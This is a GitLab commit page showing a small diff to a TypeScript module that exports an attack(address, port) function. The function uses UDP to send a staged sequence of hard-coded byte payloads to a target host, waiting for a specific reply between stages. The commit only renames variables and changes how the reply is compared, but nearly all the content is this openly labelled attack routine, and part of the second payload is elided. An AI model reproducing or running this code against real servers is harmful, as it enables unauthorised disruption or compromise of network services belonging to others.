Commit 969d1860 authored by nanahira's avatar nanahira

improve

parent 2082b861
import * as dgram from "dgram";
import * as _ from "underscore";
const message_stage1 = [
const messageStage1 = [
1, 2, 0, 42, 49, 127, 0, 0, 1, 0,
0, 0, 0, 0, 0, 0, 0, 2, 0, 42,
49, 127, 0, 0, 1, 0, 0, 0, 0, 0,
0, 0, 0, 109, 44, 0, 0
];
const message_stage2 = [
const messageToWait = [3];
const messageStage2 = [
5, 110, 115, 101, 217, 255, 196, 110, 72, 141, 124, 161,
146, 49, 52, 114, 149, 16, 0, 1, 0, 40, 0, 0,
0, 1, 9, 112, 114, 111, 102, 105, 108, 101, 49, 112,
......@@ -26,7 +30,7 @@ function waitForReply(socket: any, intervalMessage: number[]): Promise<boolean>
const intv = setInterval(sendMessage, 500, socket, intervalMessage);
return new Promise(done => {
socket.once("message", (msg: Buffer, rinfo: any) => {
if (msg.length === 1 && msg.readUInt8(0) === 3) {
if (_.isEqual(msg.toJSON().data, messageToWait)) {
clearInterval(intv);
done(true);
}
......@@ -47,15 +51,15 @@ export async function attack(address: string, port: number): Promise<string> {
if (err) {
return `Failed to connect: ${err.toString()}`;
}
err = await sendMessage(socket, message_stage1);
err = await sendMessage(socket, messageStage1);
if (err) {
return `Failed to send stage 1: ${err.toString()}`;
}
//console.log("Waiting for reply...");
if (!await waitForReply(socket, message_stage1)) {
if (!await waitForReply(socket, messageStage1)) {
return `Empty reply.`;
}
err = await sendMessage(socket, message_stage2);
err = await sendMessage(socket, messageStage2);
if (err) {
return `Failed to send stage 2: ${err.toString()}`;
}
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment